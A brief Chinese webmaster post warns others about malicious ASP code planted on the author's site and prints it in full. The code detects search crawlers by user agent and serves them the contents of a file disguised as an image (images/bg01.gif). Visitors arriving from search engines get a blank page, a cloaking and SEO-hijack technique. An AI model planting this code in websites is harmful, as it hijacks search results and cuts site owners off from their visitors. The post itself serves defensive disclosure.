一段让asp程序在搜素发动机打不开的代码

一段让asp程序在搜素引擎打不开的代码，把我的网站害苦了，现在把它的原形呈现如下，望广大站长朋友们及早防范：

<%
function isspider()
dim i,agent,searray
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogouspider","yahoo","Sosospider")
isspider= false
for i=0 to ubound(searray)
 if (instr(agent,searray(i))>0) then isspider=true
next
end function


function fromse()
dim urlrefer,searray,i
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso")
for i=0 to ubound(searray)
 if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function



if(isspider()) then
  dim myfso,fileurl,filecon,myfile
  fileurl=Server.MapPath("images/bg01.gif")
  Set myfso=Server.CreateObject("Scripting.FileSystemObject") 
  if myfso.FileExists(fileurl) then 
    Set myfile=myfso.OpenTextFile(fileurl, 1)
    filecon=myfile.readAll
    response.write(filecon)
    myfile.Close 
    Set myfile=Nothing 
    Set myfso=Nothing
    response.end
  end if
end if                                 
if (fromse()) then
  response.write("<br/>")
  response.end
else
end if
%>